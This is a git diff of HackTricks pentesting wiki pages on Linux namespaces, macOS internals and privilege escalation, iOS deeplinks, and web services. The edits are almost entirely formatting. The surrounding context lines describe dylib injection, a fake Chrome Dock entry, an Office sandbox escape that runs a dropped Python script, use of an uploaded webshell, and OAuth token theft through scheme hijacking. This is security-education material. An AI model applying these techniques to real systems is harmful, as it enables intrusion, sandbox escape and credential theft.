+57,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` -### Check which namespace is your process in +### Check which namespace is your process in ```bash ls -l /proc/self/ns/net diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 0b13d908a..b0757ba80 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -59,7 +59,7 @@ By mounting a new instance of the `/proc` filesystem if you use the param `--mou docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Check which namespace are your process in +### Check which namespace are your process in ```bash ls -l /proc/self/ns/pid diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 0875b9f25..fd28c52c6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -48,7 +48,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Check which namespace is your process in +### Check which namespace is your process in ```bash ls -l /proc/self/ns/time diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 9faedb98f..610faec65 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -59,7 +59,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) -### Check which namespace is your process in +### Check which namespace is your process in ```bash ls -l /proc/self/ns/user diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index b813bfbef..95f0c48e8 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -54,7 +54,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Check which namespace is your process in +### Check which namespace is your process in ```bash ls -l /proc/self/ns/uts diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 6d089dd0d..e81767171 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -6,7 +6,7 @@ Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). +Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). ### Interpose printf diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index e0a163bda..8f73bbaea 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -85,7 +85,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` -### Download +### Download - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index b0aae39d5..87fca66a4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -476,7 +476,7 @@ settings set target.x86-disassembly-flavor intel > [!WARNING] > Inside lldb, dump a process with `process save-core` -
(lldb) CommandDescription
run (r)Starting execution, which will continue unabated until a breakpoint is hit or the process terminates.
process launch --stop-at-entryStrt execution stopping at the entry point
continue (c)Continue execution of the debugged process.
nexti (n / ni)Execute the next instruction. This command will skip over function calls.
stepi (s / si)Execute the next instruction. Unlike the nexti command, this command will step into function calls.
finish (f)Execute the rest of the instructions in the current function (“frame”) return and halt.
control + cPause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing.
breakpoint (b)

b main #Any func called main

b <binname>`main #Main func of the bin

b set -n main --shlib <lib_name> #Main func of the indicated bin

breakpoint set -r '\[NSFileManager .*\]$' #Any NSFileManager method

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Break in all functions of that library

b -a 0x0000000100004bd9

br l #Breakpoint list

br e/dis <num> #Enable/Disable breakpoint

breakpoint delete <num>

help

help breakpoint #Get help of breakpoint command

help memory write #Get help to write into the memory

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Display the memory as a null-terminated string.
x/i <reg/memory address>Display the memory as assembly instruction.
x/b <reg/memory address>Display the memory as byte.
print object (po)

This will print the object referenced by the param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address
memory write -f s $rip+0x11f+7 "AAAA" #Write AAAA in the addr
disassembly

dis #Disas current function

dis -n <funcname> #Disas func

dis -n <funcname> -b <basename> #Disas func
dis -c 6 #Disas 6 lines
dis -c 0x100003764 -e 0x100003768 # From one add until the other
dis -p -c 4 # Start in current address disassembling

parrayparray 3 (char **)$x1 # Check array of 3 components in x1 reg
image dump sectionsPrint map of the current process memory
image dump symtab <library>image dump symtab CoreNLP #Get the address of all the symbols from CoreNLP
+
(lldb) CommandDescription
run (r)Starting execution, which will continue unabated until a breakpoint is hit or the process terminates.
process launch --stop-at-entryStrt execution stopping at the entry point
continue (c)Continue execution of the debugged process.
nexti (n / ni)Execute the next instruction. This command will skip over function calls.
stepi (s / si)Execute the next instruction. Unlike the nexti command, this command will step into function calls.
finish (f)Execute the rest of the instructions in the current function (“frame”) return and halt.
control + cPause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing.
breakpoint (b)

b main #Any func called main

b `main #Main func of the bin

b set -n main --shlib #Main func of the indicated bin

breakpoint set -r '\[NSFileManager .*\]$' #Any NSFileManager method

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Break in all functions of that library

b -a 0x0000000100004bd9

br l #Breakpoint list

br e/dis #Enable/Disable breakpoint

breakpoint delete

help

help breakpoint #Get help of breakpoint command

help memory write #Get help to write into the memory

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s Display the memory as a null-terminated string.
x/i Display the memory as assembly instruction.
x/b Display the memory as byte.
print object (po)

This will print the object referenced by the param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address
memory write -f s $rip+0x11f+7 "AAAA" #Write AAAA in the addr
disassembly

dis #Disas current function

dis -n #Disas func

dis -n -b #Disas func
dis -c 6 #Disas 6 lines
dis -c 0x100003764 -e 0x100003768 # From one add until the other
dis -p -c 4 # Start in current address disassembling

parrayparray 3 (char **)$x1 # Check array of 3 components in x1 reg
image dump sectionsPrint map of the current process memory
image dump symtab image dump symtab CoreNLP #Get the address of all the symbols from CoreNLP
> [!NOTE] > When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method** as a null-terminated (“C”) string. To print the name via lldb do: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index fe0a6669a..3bbeb5acd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -14,7 +14,7 @@ ## Keyloggers detection -- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" +- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index f9b21a1b1..5dcd50ce3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -18,7 +18,7 @@ This is very helpful to manage parallel execution successfully, greatly reducing A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: -- **block literal**: +- **block literal**: - It starts by the **`isa`** field, pointing to the block's class: - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - `NSConcreteMallocBlock` (blocks in the heap) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 1b50bb6d3..66f65d692 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -51,7 +51,7 @@ Using some **social engineering** you could **impersonate for example Google Chr {{#tab name="Chrome Impersonation"}} Some suggestions: -- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. +- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. ```bash #!/bin/sh diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index 1d56599c9..59218aa28 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -52,7 +52,7 @@ The main Nib file is referenced in the value **`NSMainNibFile`** inside the `Inf ### Other Example -In the post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) you can find tutorial on how to create a dirty nib. +In the post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) you can find tutorial on how to create a dirty nib. ### Addressing Launch Constraints diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md index c78575597..36672d73d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md @@ -192,10 +192,10 @@ Process 71019 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg libsystem_kernel.dylib`mach_msg: --> 0x181d3ac20 <+0>: pacibsp - 0x181d3ac24 <+4>: sub sp, sp, #0x20 - 0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10] - 0x181d3ac2c <+12>: add x29, sp, #0x10 +-> 0x181d3ac20 <+0>: pacibsp + 0x181d3ac24 <+4>: sub sp, sp, #0x20 + 0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10] + 0x181d3ac2c <+12>: add x29, sp, #0x10 Target 0: (SandboxedShellApp) stopped. (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 @@ -208,7 +208,7 @@ Target 0: (SandboxedShellApp) stopped. frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92 frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104 frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236 - frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168 + frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
To get the arguments of **`mach_msg`** check the registers. These are the arguments (from [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)): diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 10c5acaba..777a9035a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -150,7 +150,7 @@ Finally, another important function to make the server work will be **`myipc_ser OutHeadP->msgh_id = InHeadP->msgh_id + 100; OutHeadP->msgh_reserved = 0; - if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) || + if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) || ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) { ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record; ((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID; @@ -270,13 +270,13 @@ It was previously mentioned that the function that will take care of **calling t var_10 = arg0; var_18 = arg1; // Initial instructions to find the proper function ponters - *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f; + *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f; *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8); *(int32_t *)(var_18 + 0x4) = 0x24; *(int32_t *)(var_18 + 0xc) = 0x0; *(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64; *(int32_t *)(var_18 + 0x10) = 0x0; - if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) { + if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) { rax = *(int32_t *)(var_10 + 0x14); // Call to sign_extend_64 that can help to identifyf this function // This stores in rax the pointer to the call that needs to be called @@ -318,7 +318,7 @@ This is the same function decompiled in a difefrent Hopper free version: var_10 = arg0; var_18 = arg1; // Initial instructions to find the proper function ponters - *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0; + *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0; *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8); *(int32_t *)(var_18 + 0x4) = 0x24; *(int32_t *)(var_18 + 0xc) = 0x0; @@ -327,19 +327,19 @@ This is the same function decompiled in a difefrent Hopper free version: r8 = *(int32_t *)(var_10 + 0x14); r8 = r8 - 0x1f4; if (r8 > 0x0) { - if (CPU_FLAGS & G) { + if (CPU_FLAGS & G) { r8 = 0x1; } } - if ((r8 & 0x1) == 0x0) { + if ((r8 & 0x1) == 0x0) { r8 = *(int32_t *)(var_10 + 0x14); r8 = r8 - 0x1f4; - if (r8 < 0x0) { - if (CPU_FLAGS & L) { + if (r8 < 0x0) { + if (CPU_FLAGS & L) { r8 = 0x1; } } - if ((r8 & 0x1) == 0x0) { + if ((r8 & 0x1) == 0x0) { r8 = *(int32_t *)(var_10 + 0x14); // 0x1f4 = 500 (the strating ID) r8 = r8 - 0x1f4; @@ -348,13 +348,13 @@ This is the same function decompiled in a difefrent Hopper free version: var_20 = r8; r8 = r8 - 0x0; if (r8 != 0x0) { - if (CPU_FLAGS & NE) { + if (CPU_FLAGS & NE) { r8 = 0x1; } } // Same if else as in the previous version // Check the used of the address 0x100004040 (functions addresses array) - if ((r8 & 0x1) == 0x0) { + if ((r8 & 0x1) == 0x0) { *(var_18 + 0x18) = **0x100004000; *(int32_t *)(var_18 + 0x20) = 0xfffffed1; var_4 = 0x0; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md index 955253c76..eba5f10fd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md @@ -28,7 +28,7 @@ Then, it maps the dyld shared cache which prelinks all the important system libr 1. it start loading inserted libraries with `DYLD_INSERT_LIBRARIES` (if allowed) 2. Then the shared cached ones 3. Then the imported ones - 1. Then continue importing libraries recursively + 1. Then continue importing libraries recursively Once all are loaded the **initialisers** of these libraries are run. These are coded using **`__attribute__((constructor))`** defined in the `LC_ROUTINES[_64]` (now deprecated) or by pointer in a section flagged with `S_MOD_INIT_FUNC_POINTERS` (usually: **`__DATA.__MOD_INIT_FUNC`**). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md index a6adaa2b9..6007e4681 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md @@ -36,8 +36,8 @@ These are some of the MACF policies it registers: - **`vnode_check_exec`**: Gets called when a executable files are loaded in memory and sets `cs_hard | cs_kill` which will kill the process if any of the pages becomes invalid - **`vnode_check_getextattr`**: MacOS: Check `com.apple.root.installed` and `isVnodeQuarantined()` - **`vnode_check_setextattr`**: As get + com.apple.private.allow-bless and internal-installer-equivalent entitlement -- **`vnode_check_signature`**: Code that calls XNU to check the code signature using entitlements, trust cache and `amfid` -- **`proc_check_run_cs_invalid`**: It intercepts `ptrace()` calls (`PT_ATTACH` and `PT_TRACE_ME`). It checks for any of the entitlements `get-task-allow`, `run-invalid-allow` and `run-unsigned-code` and if none, it checks if debugging is permitted. +- **`vnode_check_signature`**: Code that calls XNU to check the code signature using entitlements, trust cache and `amfid` +- **`proc_check_run_cs_invalid`**: It intercepts `ptrace()` calls (`PT_ATTACH` and `PT_TRACE_ME`). It checks for any of the entitlements `get-task-allow`, `run-invalid-allow` and `run-unsigned-code` and if none, it checks if debugging is permitted. - **`proc_check_map_anon`**: If mmap is called with the **`MAP_JIT`** flag, AMFI will checks for the `dynamic-codesigning` entitlement. `AMFI.kext` also exposes an API for other kernel extensions, and it's possible to find its dependencies with: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md index 2124c1639..f2bcaa501 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md @@ -26,7 +26,7 @@ MACF use **labels** that then the policies checking if they should grant some ac ## MACF Policies -A MACF Policy defined **rule and conditions to be applied in certain kernel operations**. +A MACF Policy defined **rule and conditions to be applied in certain kernel operations**. A kernel extension could configure a `mac_policy_conf` struct and then register it calling `mac_policy_register`. From [here](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): @@ -115,7 +115,7 @@ mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval) #if CONFIG_MACF error = mac_file_check_mmap(vfs_context_ucred(ctx), fp->fp_glob, prot, flags, file_pos + pageoff, - &maxprot); + &maxprot); if (error) { (void)vnode_put(vp); goto bad; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index b2f0de94e..45393e916 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -44,7 +44,7 @@ Check the [**original report here**](https://perception-point.io/blog/technical- The **`open`** utility also supported the **`--stdin`** param (and after the previous bypass it was no longer possible to use `--env`). -The thing is that even if **`python`** was signed by Apple, it **won't execute** a script with the **`quarantine`** attribute. However, it was possible to pass it a script from stdin so it won't check if it was quarantined or not: +The thing is that even if **`python`** was signed by Apple, it **won't execute** a script with the **`quarantine`** attribute. However, it was possible to pass it a script from stdin so it won't check if it was quarantined or not: 1. Drop a **`~$exploit.py`** file with arbitrary Python commands. 2. Run _open_ **`–stdin='~$exploit.py' -a Python`**, which runs the Python app with our dropped file serving as its standard input. Python happily runs our code, and since it’s a child process of _launchd_, it isn’t bound to Word’s sandbox rules. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index 88331bd86..7d034caca 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -230,7 +230,7 @@ The command **`diskutil apfs list`** lists the **details of the APFS volumes** a | Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used) | Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free) | | -| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE +| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE | | ----------------------------------------------------------- | | APFS Physical Store Disk: disk0s2 | | Size: 494384795648 B (494.4 GB) diff --git a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index 4181e3535..3e116d9cd 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md +++ b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -70,7 +70,7 @@ Opened URL: iGoat://?contactNumber=0&message=0 ## Custom URL scheme hijacking -According to [**this post**](https://evanconnelly.github.io/post/ios-oauth/), malicious apps could **register other apps custom schemes,** then the malicious app can open a browser that has all the cookies of the Safari App with [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). +According to [**this post**](https://evanconnelly.github.io/post/ios-oauth/), malicious apps could **register other apps custom schemes,** then the malicious app can open a browser that has all the cookies of the Safari App with [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). With the broser the malicious app can load an attackers controlled web page and TCC will ask the mobile user for permissions to open that app. Then, the malicious webpage could redirect to a victim page, for example an OAuth flow with the parameter `prompt=none`. If the user was already logged in the OAuth flow, the OAuth flow will send the secret back to the victim application using the custom scheme of the victim app.\ However, because the malicious app also registered it and because the used browser is inside the malicious app, the custom scheme will be handled in this case by the malicious app which will be able to steal the OAuth token. diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index 27339936b..70f8289ce 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -14,7 +14,7 @@ Sadly the syntax description isn’t really clear and a simple help command list | Command | Description | Example | | -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | | get | Reads a value | `get mykey` | -| set | Set a key unconditionally |

set mykey <flags> <ttl> <size>

<p>Ensure to use \r\n als line breaks when using Unix CLI tools. For example</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| +| set | Set a key unconditionally |

set mykey

Ensure to use \r\n als line breaks when using Unix CLI tools. For example

printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| | add | Add a new key | `add newkey 0 60 5` | | replace | Overwrite existing key | `replace key 0 60 5` | | append | Append data to existing key | `append key 0 60 15` | diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 44c80d930..96ef5c155 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -10,7 +10,7 @@ A notable aspect of this protocol is its lack of built-in **authentication** or Authentication commonly relies on **UNIX `UID`/`GID` identifiers and group memberships**. However, a challenge arises due to the potential mismatch in **`UID`/`GID` mappings** between clients and servers, leaving no room for additional verification by the server. Consequently, the protocol is best suited for use within **trusted networks**, given its reliance on this method of authentication. -**Default port**: 2049/TCP/UDP (except version 4, it just needs TCP or UDP). +**Default port**: 2049/TCP/UDP (except version 4, it just needs TCP or UDP). ``` 2049/tcp open nfs 2-3 (RPC #100003 diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 696480748..f4d9e33c8 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -39,7 +39,7 @@ Then access to **`/Portals/0/shell.asp`** to access your webshell. ### Privilege Escalation -You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example. +You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index a50a9a45a..b525db21c 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -98,7 +98,7 @@ public class helloworld implements Macro { } ``` -It's possible to observe that these plugins might be vulnerable to common web vulnerabilities like XSS. For example the previous example is vulnerable because it's reflecting data given by the user. +It's possible to observe that these plugins might be vulnerable to common web vulnerabilities like XSS. For example the previous example is vulnerable because it's reflecting data given by the user. Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS. diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index f2f676995..041f4fd29 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -79,7 +79,7 @@ location = /admin/ { > > A regex can also be vulnerable like: > -> `location ~ /docs/([^/])? { … $1 … }` - Vulnerable +> `location ~ /docs/([^/])? { … $1 … }` - Vulnerable > > `location ~ /docs/([^/\s])? { … $1 … }` - Not vulnerable (checking spaces) > diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 908adea45..79e111c4f 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -370,7 +370,7 @@ 